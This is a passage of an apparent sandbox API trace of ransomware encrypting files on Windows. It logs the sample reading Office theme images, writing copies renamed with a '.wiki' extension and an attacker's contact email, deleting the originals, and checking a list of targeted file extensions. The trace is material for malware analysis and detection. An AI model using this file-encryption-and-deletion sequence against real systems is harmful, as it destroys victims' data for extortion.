hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.666] WriteFile (in: hFile=0x1a4, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.666] SetEndOfFile (hFile=0x1a4) returned 1 [0053.900] CloseHandle (hObject=0x1a4) returned 1 [0053.907] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.907] SetEndOfFile (hFile=0x1f0) returned 1 [0053.924] CloseHandle (hObject=0x1f0) returned 1 [0053.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0053.926] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\iris\\preview.gif")) returned 1 [0053.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.927] lstrlenW (lpString=".doc") returned 4 [0053.927] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.927] lstrlenW (lpString=".docx") returned 5 [0053.927] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.927] lstrlenW (lpString=".pdf") returned 4 [0053.927] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.927] lstrlenW (lpString=".xls") returned 4 [0053.927] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.927] lstrlenW (lpString=".xlsx") returned 5 [0053.927] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.927] lstrlenW (lpString=".ppt") returned 4 [0053.927] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.927] lstrlenW (lpString=".zip") returned 4 [0053.927] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.927] lstrlenW (lpString=".rar") returned 4 [0053.927] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.927] lstrlenW (lpString=".bz2") returned 4 [0053.927] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.927] lstrlenW (lpString=".7z") returned 3 [0053.927] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.927] lstrlenW (lpString=".dbf") returned 4 [0053.927] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.927] lstrlenW (lpString=".1cd") returned 4 [0053.927] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.927] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.927] lstrlenW (lpString=".jpg") returned 4 [0053.927] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.928] lstrlenW (lpString=".doc") returned 4 [0053.928] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0053.928] lstrlenW (lpString=".docx") returned 5 [0053.928] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0053.928] lstrlenW (lpString=".pdf") returned 4 [0053.928] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0053.928] lstrlenW (lpString=".xls") returned 4 [0053.928] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0053.928] lstrlenW (lpString=".xlsx") returned 5 [0053.928] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0053.928] lstrlenW (lpString=".ppt") returned 4 [0053.928] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0053.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.928] lstrlenW (lpString=".zip") returned 4 [0053.928] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0053.928] lstrlenW (lpString=".rar") returned 4 [0053.928] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0053.928] lstrlenW (lpString=".bz2") returned 4 [0053.928] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0053.943] lstrlenW (lpString=".7z") returned 3 [0053.943] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0053.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.943] lstrlenW (lpString=".dbf") returned 4 [0053.943] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0053.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.943] lstrlenW (lpString=".1cd") returned 4 [0053.943] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0053.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\PREVIEW.GIF") returned 72 [0053.943] lstrlenW (lpString=".jpg") returned 4 [0053.943] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0053.944] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0053.944] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0053.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0054.296] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=37112) returned 1 [0054.296] CloseHandle (hObject=0x1f0) returned 1 [0054.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0054.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0054.303] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.303] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.304] GetLastError () returned 0x0 [0054.304] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x90f8, lpOverlapped=0x0) returned 1 [0054.327] WriteFile (in: hFile=0x204, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x9100, lpOverlapped=0x0) returned 1 [0054.329] ReadFile (in: hFile=0x1f0, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.329] WriteFile (in: hFile=0x204, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.329] SetEndOfFile (hFile=0x204) returned 1 [0054.329] CloseHandle (hObject=0x204) returned 1 [0054.329] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.329] SetEndOfFile (hFile=0x1f0) returned 1 [0054.330] CloseHandle (hObject=0x1f0) returned 1 [0054.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.330] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0054.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.331] lstrlenW (lpString=".doc") returned 4 [0054.331] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.331] lstrlenW (lpString=".docx") returned 5 [0054.331] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.331] lstrlenW (lpString=".pdf") returned 4 [0054.331] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.331] lstrlenW (lpString=".xls") returned 4 [0054.331] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.331] lstrlenW (lpString=".xlsx") returned 5 [0054.331] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.331] lstrlenW (lpString=".ppt") returned 4 [0054.331] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.331] lstrlenW (lpString=".zip") returned 4 [0054.331] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.331] lstrlenW (lpString=".rar") returned 4 [0054.331] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.331] lstrlenW (lpString=".bz2") returned 4 [0054.331] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.331] lstrlenW (lpString=".7z") returned 3 [0054.331] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.331] lstrlenW (lpString=".dbf") returned 4 [0054.331] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.331] lstrlenW (lpString=".1cd") returned 4 [0054.331] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.331] lstrlenW (lpString=".jpg") returned 4 [0054.331] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.331] lstrlenW (lpString=".doc") returned 4 [0054.332] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.332] lstrlenW (lpString=".docx") returned 5 [0054.332] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.332] lstrlenW (lpString=".pdf") returned 4 [0054.332] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.332] lstrlenW (lpString=".xls") returned 4 [0054.332] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.332] lstrlenW (lpString=".xlsx") returned 5 [0054.332] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.332] lstrlenW (lpString=".ppt") returned 4 [0054.332] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.332] lstrlenW (lpString=".zip") returned 4 [0054.332] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.332] lstrlenW (lpString=".rar") returned 4 [0054.332] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.332] lstrlenW (lpString=".bz2") returned 4 [0054.332] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.332] lstrlenW (lpString=".7z") returned 3 [0054.332] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.332] lstrlenW (lpString=".dbf") returned 4 [0054.332] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.332] lstrlenW (lpString=".1cd") returned 4 [0054.332] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0054.332] lstrlenW (lpString=".jpg") returned 4 [0054.332] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.332] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.332] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.333] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.051] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=27177) returned 1 [0055.051] CloseHandle (hObject=0x21c) returned 1 [0055.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0055.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.051] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.051] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.051] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0055.052] GetLastError () returned 0x0 [0055.052] ReadFile (in: hFile=0x21c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x6a29, lpOverlapped=0x0) returned 1 [0055.064] WriteFile (in: hFile=0x220, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0055.066] ReadFile (in: hFile=0x21c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.066] WriteFile (in: hFile=0x220, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.066] SetEndOfFile (hFile=0x220) returned 1 [0055.066] CloseHandle (hObject=0x220) returned 1 [0055.066] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.066] SetEndOfFile (hFile=0x21c) returned 1 [0055.067] CloseHandle (hObject=0x21c) returned 1 [0055.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.067] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.067] lstrlenW (lpString=".doc") returned 4 [0055.067] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.067] lstrlenW (lpString=".docx") returned 5 [0055.068] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.068] lstrlenW (lpString=".pdf") returned 4 [0055.068] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.068] lstrlenW (lpString=".xls") returned 4 [0055.068] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.068] lstrlenW (lpString=".xlsx") returned 5 [0055.068] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.068] lstrlenW (lpString=".ppt") returned 4 [0055.068] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.068] lstrlenW (lpString=".zip") returned 4 [0055.068] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.068] lstrlenW (lpString=".rar") returned 4 [0055.068] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.068] lstrlenW (lpString=".bz2") returned 4 [0055.068] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.068] lstrlenW (lpString=".7z") returned 3 [0055.068] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.068] lstrlenW (lpString=".dbf") returned 4 [0055.068] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.068] lstrlenW (lpString=".1cd") returned 4 [0055.068] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.068] lstrlenW (lpString=".jpg") returned 4 [0055.068] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.068] lstrlenW (lpString=".doc") returned 4 [0055.068] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.068] lstrlenW (lpString=".docx") returned 5 [0055.068] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.068] lstrlenW (lpString=".pdf") returned 4 [0055.068] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.069] lstrlenW (lpString=".xls") returned 4 [0055.069] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.069] lstrlenW (lpString=".xlsx") returned 5 [0055.069] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.069] lstrlenW (lpString=".ppt") returned 4 [0055.069] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.069] lstrlenW (lpString=".zip") returned 4 [0055.069] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.069] lstrlenW (lpString=".rar") returned 4 [0055.069] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.069] lstrlenW (lpString=".bz2") returned 4 [0055.069] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.069] lstrlenW (lpString=".7z") returned 3 [0055.069] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.069] lstrlenW (lpString=".dbf") returned 4 [0055.069] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.069] lstrlenW (lpString=".1cd") returned 4 [0055.069] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0055.069] lstrlenW (lpString=".jpg") returned 4 [0055.069] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.070] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0055.070] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0055.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.070] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4991) returned 1 [0055.070] CloseHandle (hObject=0x21c) returned 1 [0055.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0055.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0055.070] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.070] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0055.086] GetLastError () returned 0x0 [0055.086] ReadFile (in: hFile=0x21c, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x137f, lpOverlapped=0x0) returned 1 [0055.095] WriteFile (in: hFile=0x17c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, 